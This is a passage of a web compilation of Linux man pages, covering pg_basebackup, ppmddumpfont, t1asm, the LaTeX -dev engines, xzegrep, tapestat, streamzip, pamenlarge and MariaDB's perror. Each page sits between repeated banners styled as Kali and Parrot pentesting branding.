At the beginning of the backup, a checkpoint needs to be performed on the source server. This can take some time (especially if the option –checkpoint=fast is not used), during which pg_basebackup will appear to be idle.

The backup will include all files in the data directory and tablespaces, including the configuration files and any additional files placed in the directory by third parties, except certain temporary files managed by PostgreSQL and operating system files. But only regular files and directories are copied, except that symbolic links used for tablespaces are preserved. Symbolic links pointing to certain directories known to PostgreSQL are copied as empty directories. Other symbolic links and special device files are skipped. See Section 55.4 for the precise details.

In plain format, tablespaces will be backed up to the same path they have on the source server, unless the option –tablespace-mapping is used. Without this option, running a plain format base backup on the same host as the server will not work if tablespaces are in use, because the backup would have to be written to the same directory locations as the original tablespaces.

When tar format is used, it is the users responsibility to unpack each tar file before starting a PostgreSQL server that uses the data. If there are additional tablespaces, the tar files for them need to be unpacked in the correct locations. In this case the symbolic links for those tablespaces will be created by the server according to the contents of the tablespace_map file that is included in the base.tar file.

pg_basebackup works with servers of the same or an older major version, down to 9.1. However, WAL streaming mode (-X stream) only works with server version 9.3 and later, and tar format (–format=tar) only works with server version 9.5 and later.

pg_basebackup will preserve group permissions for data files if group permissions are enabled on the source cluster.

EXAMPLES

To create a base backup of the server at mydbserver and store it in the local directory /usr/local/pgsql/data:

$ pg_basebackup -h mydbserver -D /usr/local/pgsql/data

To create a backup of the local server with one compressed tar file for each tablespace, and store it in the directory backup, showing a progress report while running:

$ pg_basebackup -D backup -Ft -z -P

To create a backup of a single-tablespace local database and compress this with bzip2:

$ pg_basebackup -D - -Ft -X fetch | bzip2 > backup.tar.bz2

(This command will fail if there are multiple tablespaces in the database.)

To create a backup of a local database where the tablespace in /opt/ts is relocated to ./backup/ts:

$ pg_basebackup -D backup/data -T /opt/ts=$(pwd)/backup/ts

To create a backup of a local server with one tar file for each tablespace compressed with gzip at level 9, stored in the directory backup:

$ pg_basebackup -D backup -Ft –compress=gzip:9

SEE ALSO

pg_dump(1), Section 28.4.6

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

268 - Linux cli command ppmddumpfont

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ppmddumpfont and provides detailed information about the command ppmddumpfont, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ppmddumpfont.

.

NAME 🖥️ ppmddumpfont 🖥️

dump a Ppmdfont file

SYNOPSIS

ppmddumpfont

DESCRIPTION

This program is part of Netpbm(1) .

ppmddumpfont reads a Ppmdfont file on Standard Input and writes to Standard Error a human readable description of the font.

(There are no arguments or options)

See “LibnetpbmPPMDrawingFunction Manual” (1) for details on Ppmdfont files.

SEE ALSO

ppmdraw(1) , ppmdmkfont(1) , ppmdcfont(1) , Libnetpbm PPM Drawing Function Manual(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/ppmddumpfont.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

269 - Linux cli command t1asm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command t1asm and provides detailed information about the command t1asm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the t1asm.

NAME 🖥️ t1asm 🖥️

assemble PostScript Type 1 font

SYNOPSIS

t1asm [-a|-b] [-l length] [input [output]]

DESCRIPTION

t1asm assembles Adobe Type 1 font programs into either PFA (hexadecimal) or PFB (binary) formats from a human-readable form. If the file output is not specified output goes to the standard output. If the file input is not specified input comes from the standard input.

t1asm tokenizes the charstring data and performs eexec and charstring encryption as specified in the ``black book,’’ Adobe Type 1 Font Format.

The input must have a line of the form

/-|{string currentfile exch readstring pop}executeonly def

which defines the command, in this case `-|’, that is to start charstring data. It is an error not to define such a command. Another common name for this command is `RD'.

After the start of the Subrs array in the input, all open braces `{’ not in a comment begin a charstring. Such a charstring is terminated by the next non-comment close brace `}’. Within such a charstring, only comments, integers, and valid charstring commands are allowed. Valid charstring command names can be found in Adobe Type 1 Font Format and other documents describing the newer Type 2 opcodes. The format within a charstring is unimportant as long as integers and commands are separated by at least a one whitespace (space, tab, newline) character. Note that within charstrings, comments are discarded because they cannot be encoded.

OPTIONS

–pfa, -a
Output in PFA (ASCII) format.

–pfb, -b
Output in PFB (binary) format. This is the default.

**–block-length=**num, -l num
PFB only: Set the maximum output block length to num. The default length is as large as memory allows.

**–line-length=**num, -l num
PFA only: Set the maximum length of encrypted lines in the output to num. (These are the lines consisting wholly of hexadecimal digits.) The default is 64.

EXAMPLES

% t1asm Utopia-Regular.raw > Utopia-Regular.pfb
% t1asm -a Utopia-Regular.raw > Utopia-Regular.pfa

SEE ALSO

() () () () ()

Adobe Type 1 Font Format is available free from Adobe as a PDF file. http://partners.adobe.com/asn/developer/PDFS/TN/T1_SPEC.PDF

The Type 2 Charstring Format, also available from Adobe as a PDF file, describes the newer Type 2 operators, which are also used in some multiple-master Type 1 fonts like Adobe Jenson and Kepler. http://partners.adobe.com/asn/developer/PDFS/TN/5177.Type2.pdf

AUTHORS

Lee Hetherington ([email protected])
Eddie Kohler ([email protected])

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

270 - Linux cli command uplatex-dev

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command uplatex-dev and provides detailed information about the command uplatex-dev, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the uplatex-dev.

NAME 🖥️ uplatex-dev 🖥️

dev, pdflatex-dev, xelatex-dev, lualatex-dev, dvilualatex-dev, platex-dev, uplatex-dev - release candidate LaTeX testing

SYNOPSIS

latex-dev [first-line]

DESCRIPTION

These -dev executables are intended for testing upcoming LaTeX2e kernel changes. They correspond to new formats which have been tested by the LaTeX team for stability and usability. Thus, they are not arbitrary development snapshots; more like release candidates.

Wider testing by knowledgeable users is desired, indeed, is the main purpose for these executables to exist. Simply replacing the regular engine (e.g., pdflatex) with the -dev engine name (pdflatex-dev) is all that should be needed.

The lualatex-dev format is based on luahbtex, the luatex variant with harfbuzz enabled for glyph shaping.

Please report bugs in these -dev versions, like all LaTeX releases, following the procedure at https://www.latex-project.org/bugs.

SEE ALSO

latex(1).

The LaTeX home page is https://latex-project.org.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

271 - Linux cli command xzegrep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xzegrep and provides detailed information about the command xzegrep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xzegrep.

NAME 🖥️ xzegrep 🖥️

search possibly-compressed files for patterns

SYNOPSIS

xzgrep [option…] [pattern_list] [file…]
xzegrep
xzfgrep
lzgrep
lzegrep
lzfgrep

DESCRIPTION

xzgrep invokes grep(1) on uncompressed contents of files. The formats of the files are determined from the filename suffixes. Any file with a suffix supported by xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), or lz4(1) will be decompressed; all other files are assumed to be uncompressed.

If no files are specified or file is - then standard input is read. When reading from standard input, only files supported by xz(1) are decompressed. Other files are assumed to be in uncompressed form already.

Most options of grep(1) are supported. However, the following options are not supported:

-r, –recursive

-R, –dereference-recursive

-d, **–directories=**action

-Z, –null

-z, –null-data

**–include=**glob

**–exclude=**glob

**–exclude-from=**file

**–exclude-dir=**glob

xzegrep is an alias for xzgrep -E. xzfgrep is an alias for xzgrep -F.

The commands lzgrep, lzegrep, and lzfgrep are provided for backward compatibility with LZMA Utils.

EXIT STATUS

0
At least one match was found from at least one of the input files. No errors occurred.

1
No matches were found from any of the input files. No errors occurred.

>1
One or more errors occurred. It is unknown if matches were found.

ENVIRONMENT

GREP
If GREP is set to a non-empty value, it is used instead of grep, grep -E, or grep -F.

SEE ALSO

grep(1), xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), lz4(1), zgrep(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

272 - Linux cli command tapestat

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command tapestat and provides detailed information about the command tapestat, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the tapestat.

NAME 🖥️ tapestat 🖥️

Report tape statistics.

SYNOPSIS

tapestat [ -k | -m ] [ -t ] [ -V ] [ -y ] [ -z ] [ –human ] [ *interval ***[ ***count *] ]

DESCRIPTION

The tapestat command is used for monitoring the activity of tape drives connected to a system.

The first report generated by the **tapestat **command provides statistics concerning the time since the system was booted, unless the -y option is used, when this first report is omitted. Each subsequent report covers the time since the previous report.

The interval parameter specifies the amount of time in seconds between each report. The count parameter can be specified in conjunction with the *interval *parameter. If the *count *parameter is specified, the value of count determines the number of reports generated at *interval *seconds apart. If the *interval *parameter is specified without the count parameter, the tapestat command generates reports continuously.

REPORT

The tapestat report provides statistics for each tape drive connected to the system. The following data are displayed:

r/s
The number of reads issued expressed as the number per second averaged over the interval.

w/s
The number of writes issued expressed as the number per second averaged over the interval.

kB_read/s | MB_read/s
The amount of data read expressed in kilobytes (by default or if option **-k **used) or megabytes (if option -m used) per second averaged over the interval.

kB_wrtn/s | MB_wrtn/s
The amount of data written expressed in kilobytes (by default or if option **-k **used) or megabytes (if option -m used) per second averaged over the interval.

%Rd
Read percentage wait - The percentage of time over the interval spent waiting for read requests to complete. The time is measured from when the request is dispatched to the SCSI mid-layer until it signals that it completed.

%Wr
Write percentage wait - The percentage of time over the interval spent waiting for write requests to complete. The time is measured from when the request is dispatched to the SCSI mid-layer until it signals that it completed.

%Oa
Overall percentage wait - The percentage of time over the interval spent waiting for any I/O request to complete (read, write, and other).

Rs/s
The number of I/Os, expressed as the number per second averaged over the interval, where a non-zero residual value was encountered.

Ot/s
The number of I/Os, expressed as the number per second averaged over the interval, that were included as “other”. Other I/O includes ioctl calls made to the tape driver and implicit operations performed by the tape driver such as rewind on close (for tape devices that implement rewind on close). It does not include any I/O performed using methods outside of the tape driver (e.g. via sg ioctls).

OPTIONS

–human
Print sizes in human readable format (e.g. 1.0k, 1.2M, etc.) The units displayed with this option supersede any other default units (e.g. kilobytes, sectors…) associated with the metrics.

-k
Show the amount of data written or read in kilobytes per second instead of megabytes. This option is mutually exclusive with -m.

-m
Show the amount of data written or read in megabytes per second instead of kilobytes. This option is mutually exclusive with -k.

-t
Display time stamps. The time stamp format may depend on the value of the **S_TIME_FORMAT **environment variable (see below).

-V
Print version and exit.

-y
Omit the initial statistic showing values since boot.

-z
Tell tapestat to omit output for any tapes for which there was no activity during the sample period.

CONSIDERATIONS

It is possible for a percentage value (read, write, or other) to be greater than 100 percent (the tapestat command will never show a percentage value more than 999). If rewinding a tape takes 40 seconds where the interval time is 5 seconds the %Oa value would show as 0 in the intervals before the rewind completed and then show as approximately 800 percent when the rewind completes.

Similar values will be observed for %Rd and %Wr if a tape drive stops reading or writing and then restarts (that is it stopped streaming). In such a case you may see the r/s or w/s drop to zero and the %Rd/%Wr value could be higher than 100 when reading or writing continues (depending on how long it takes to restart writing or reading). This is only an issue if it happens a lot as it may cause tape wear and will impact on the backup times.

For fast tape drives you may see low percentage wait times. This does not indicate an issue with the tape drive. For a slower tape drive (e.g. an older generation DDS drive) the speed of the tape (and tape drive) is much slower than filesystem I/O, percent wait times are likely to be higher. For faster tape drives (e.g. LTO) the percentage wait times are likely to be lower as program writing to or reading from tape is going to be doing a lot more filesystem I/O because of the higher throughput.

Although tape statistics are implemented in the kernel using atomic variables they cannot be read atomically as a group. All of the statistics values are read from different files under /sys, because of this there may be I/O completions while reading the different files for the one tape drive. This may result in a set of statistics for a device that contain some values before an I/O completed and some after.

This command uses rounding down as the rounding method when calculating per second statistics. If, for example, you are using **dd **to copy one tape to another and running tapestat with an interval of 5 seconds and over the interval there were 3210 writes and 3209 reads then w/s would show 642 and r/s 641 (641.8 rounded down to 641). In such a case if it was a tar archive being copied (with a 10k block size) you would also see a difference between the kB_read/s and kB_wrtn/s of 2 (one I/O 10k in size divided by the interval period of 5 seconds). If instead there were 3210 writes and 3211 reads both w/s and r/s would both show 642 but you would still see a difference between the kB_read/s and kB_wrtn/s values of 2 kB/s.

This command is provided with an interval in seconds. However internally the interval is tracked per device and can potentially have an effect on the per second statistics reported. The time each set of statistics is captured is kept with those statistics. The difference between the current and previous time is converted to milliseconds for use in calculations. We can look at how this can impact the statistics reported if we use an example of a tar archive being copied between two tape drives using dd. If both devices reported 28900 kilobytes transferred and the reading tape drive had an interval of 5001 milliseconds and the writing tape drive 5000 milliseconds that would calculate out as 5778 kB_read/s and 5780 kB_wrtn/s.

The impact of some retrieving statistics during an I/O completion, rounding down, and small differences in the interval period on the statistics calculated should be minimal but may be non-zero.

ENVIRONMENT

The tapestat command takes into account the following environment variables:

S_COLORS
By default statistics are displayed in color when the output is connected to a terminal. Use this variable to change the settings. Possible values for this variable are never, *always *or auto (the latter is equivalent to the default settings).
Please note that the color (being red, yellow, or some other color) used to display a value is not indicative of any kind of issue simply because of the color. It only indicates different ranges of values.

S_COLORS_SGR
Specify the colors and other attributes used to display statistics on the terminal. Its value is a colon-separated list of capabilities that defaults to I=32;22:N=34;1:W=35;1:X=31;1:Z=34;22. Supported capabilities are:

I=
SGR (Select Graphic Rendition) substring for tape names.

N=
SGR substring for non-zero statistics values.

W= (or M=)
SGR substring for percentage values in the range from 75% to 90% (or in the range 10% to 25% depending on the metric’s meaning).

X= (or H=)
SGR substring for percentage values greater than or equal to 90% (or lower than or equal to 10% depending on the metric’s meaning).

Z=
SGR substring for zero values.

S_TIME_FORMAT
If this variable exists and its value is ISO then the current locale will be ignored when printing the date in the report header. The tapestat command will use the ISO 8601 format (YYYY-MM-DD) instead. The timestamp displayed with option -t will also be compliant with ISO 8601 format.

BUGS

*/sys *filesystem must be mounted for tapestat to work. It will not work on kernels that do not have sysfs support

This command requires kernel version 4.2 or later (or tape statistics support backported for an earlier kernel version).

Although tapestat speaks of kilobytes (kB), megabytes (MB)…, it actually uses kibibytes (kiB), mebibytes (MiB)… A kibibyte is equal to 1024 bytes, and a mebibyte is equal to 1024 kibibytes.

FILES

/sys/class/scsi_tape/st<num>/stats/*

Statistics files for tape devices.

*/proc/uptime *contains system uptime.

AUTHOR

Initial revision by Shane M. SEYMOUR (shane.seymour <at> hpe.com)
Modified for sysstat by Sebastien Godard (sysstat <at> orange.fr)

SEE ALSO

iostat(1), mpstat(1)

https://github.com/sysstat/sysstat
https://sysstat.github.io/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

273 - Linux cli command streamzip

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command streamzip and provides detailed information about the command streamzip, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the streamzip.

NAME 🖥️ streamzip 🖥️

create a zip file from stdin

SYNOPSIS

producer | streamzip [opts] | consumer producer | streamzip [opts] -zipfile=output.zip

DESCRIPTION

This program will read data from stdin, compress it into a zip container and, by default, write a streamed zip file to stdout. No temporary files are created.

The zip container written to stdout is, by necessity, written in streaming format. Most programs that read Zip files can cope with a streamed zip file, but if interoperability is important, and your workflow allows you to write the zip file directly to disk you can create a non-streamed zip file using the zipfile option.

OPTIONS

-zip64
Create a Zip64-compliant zip container. Use this option if the input is greater than 4Gig. Default is disabled.

-zipfile=F
Write zip container to the filename F. Use the Stream option to force the creation of a streamed zip file.

-member-name=M
This option is used to name the “file” in the zip container. Default is ‘-’.

-stream
Ignored when writing to stdout. If the zipfile option is specified, including this option will trigger the creation of a streamed zip file. Default: Always enabled when writing to stdout, otherwise disabled.

-method=M
Compress using method M. Valid method names are * store Store without compression * deflate Use Deflate compression [Deflault] * bzip2 Use Bzip2 compression * lzma Use LZMA compression * xz Use xz compression * zstd Use Zstandard compression Note that Lzma compress needs IO::Compress::Lzma to be installed. Note that Zstd compress needs IO::Compress::Zstd to be installed. Default is deflate.

-0, -1, -2, -3, -4, -5, -6, -7, -8, -9
Sets the compression level for deflate. Ignored for all other compression methods. -0 means no compression and -9 for maximum compression. Default is 6

-version
Display version number

-help
Display help

Examples

Create a zip file bt reading daa from stdin

$ echo Lorem ipsum dolor sit | perl ./bin/streamzip >abcd.zip

Check the contents of abcd,zip with the standard unzip utility

Archive: abcd.zip Length Date Time Name ——— ———- —– —- 22 2021-01-08 19:45 - ——— ——- 22 1 file

Notice how the Name is set to -. That is the default for a few zip utilities whwre the member name is not given.

If you want to explicitly name the file, use the -member-name option as follows

$ echo Lorem ipsum dolor sit | perl ./bin/streamzip -member-name latin >abcd.zip $ unzip -l abcd.zip Archive: abcd.zip Length Date Time Name ——— ———- —– —- 22 2021-01-08 19:47 latin ——— ——- 22 1 file

When to write a Streamed Zip File

A Streamed Zip File is useful in situations where you cannot seek backwards/forwards in the file.

A good examples is when you are serving dynamic content from a Web Server straight into a socket without needing to create a temporary zip file in the filesystsm.

Similarly if your workfow uses a Linux pipelined commands.

SUPPORT

General feedback/questions/bug reports should be sent to <https://github.com/pmqs/IO-Compress/issues> (preferred) or <https://rt.cpan.org/Public/Dist/Display.html?Name=IO-Compress>.

AUTHOR

Paul Marquess [email protected].

COPYRIGHT

Copyright (c) 2019-2022 Paul Marquess. All rights reserved.

This program is free software; you can redistribute it and/or modify it under the same terms as Perl itself.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

274 - Linux cli command pamenlarge

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamenlarge and provides detailed information about the command pamenlarge, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamenlarge.

.

NAME 🖥️ pamenlarge 🖥️

Enlarge a Netpbm image N times by duplicating pixels

SYNOPSIS

pamenlarge [**-scale=integer] [-xscale=integer] [-yscale=**integer] [filename]

pamenlarge N [pnmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pamenlarge reads a Netpbm image as input, replicates its pixels N times, and produces a Netpbm image as output. The output is the same type of image as the input.

If you enlarge by a factor of 3 or more, you should probably add a pnmsmooth step; otherwise, you can see the original pixels in the resulting image.

For PBM images, pamenlarge uses special fast algorithms for scale factors up to 10. For larger factors, it uses a simple but slow algorithm. As a result, you can often get a significantly faster scale by running pamenlarge multiple times. For example, enlarging by 3 and then by 5 is faster than enlarging once by 15. And because the algorithms are different for the different scale factors, some faster than others, the order matters too. For example, the following examples all produce the same output – an image 15 times bigger on edge than the input – but at different speeds, each being faster than the one before.

     $ pamenlarge -scale=15 test.pbm
     $ pamenlarge -scale=5 test.pbm | pamenlarge -scale=3
     $ pamenlarge -scale=3 test.pbm | pamenlarge -scale=5

The special fast cases for factors up to 10 have existed since Release 10.50 (March 2010). The special cases for 1, 2, 3, and 5 go back to Release 10.41 (December 2007). Before 10.41, there are no special scale factors and PBM enlargement is significantly slower than today for all scale factors.

pamenlarge can enlarge only by integer factors. The slower but more general pamscale can enlarge or reduce by arbitrary factors. pamscale allows you to enlarge by resampling, which gives you smoother enlargements. But it is much slower.

pamstretch is another enlarging program that enlarges by integer factors. It does a simple kind of resampling that gives you a smoothed enlargement with less computational cost.

pbmreduce can reduce by integer factors, but only for PBM images.

ARGUMENTS

As with most Netpbm programs, you can give the input file name as an argument or omit that argument and have it come from Standard Input (and you can specify ‘-’ for the argument to specify Standard Input explicitly).

You can also specify the scale factor as an argument, for backward compatibility, but the preferred way to do that is with a -scale option, because it is easier to remember and read that way. The scale factor argument goes before the file name argument.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamenlarge recognizes the following command line options:

**-scale=**integer
**-xscale=**integer
**-yscale=**integer
These specify the scale factor. -xscale specifies the horizontal scale factor; -yscale specifies the vertical scale factor and -scale specifies both.

If you specify -xscale but not -yscale, pamenlarge does not scale vertically (i.e. the vertical scale factor is 1). The converse applies if you specify -yscale and not -xscale.

You cannot specify -scale and also -xscale or yscale.

You must specify at least one of these options, unless you use the deprecaated method of specifying the scale factor via argument.

These options were all new in Netpbm 10.86 (March 2019). Before that, use the scale argument.

HISTORY

pamenlarge was new in Netpbm 10.25 (October 2004). It is designed as a replacement for pnmenlarge by Jef Poskanzer, which was in Pbmplus as far back as 1989. The major difference is that pamenlarge can enlarge PAM format images in addition to PNM.

SEE ALSO

pbmreduce(1) , pamscale(1) , pamstretch(1) , pbmpscale(1) , pnmsmooth(1) , pnm(1)

AUTHOR

Copyright (C) 1989 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamenlarge.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

275 - Linux cli command perror

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command perror and provides detailed information about the command perror, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the perror.

NAME 🖥️ perror 🖥️

explain error codes

SYNOPSIS

perror [options] errorcode

DESCRIPTION

For most system errors, MariaDB displays, in addition to an internal text message, the system error code in one of the following styles:

message … (errno: #) message … (Errcode: #)

You can find out what the error code means by examining the documentation for your system or by using the perror utility.

perror prints a description for a system error code or for a storage engine (table handler) error code.

Invoke perror like this:

shell> perror [options] errorcode …

Example:

shell> perror 13 64 OS error code 13: Permission denied OS error code 64: Machine is not on the network

Note that the meaning of system error messages may be dependent on your operating system. A given error code may mean different things on different operating systems.

perror supports the following options.

·

–help, –info, -I, -?

Display a help message and exit.

·

–silent, -s

Silent mode. Print only the error message.

·

–verbose, -v

Verbose mode. Print error code and message. This is the default behavior.

·

–version, -V

Display version information and exit.

COPYRIGHT

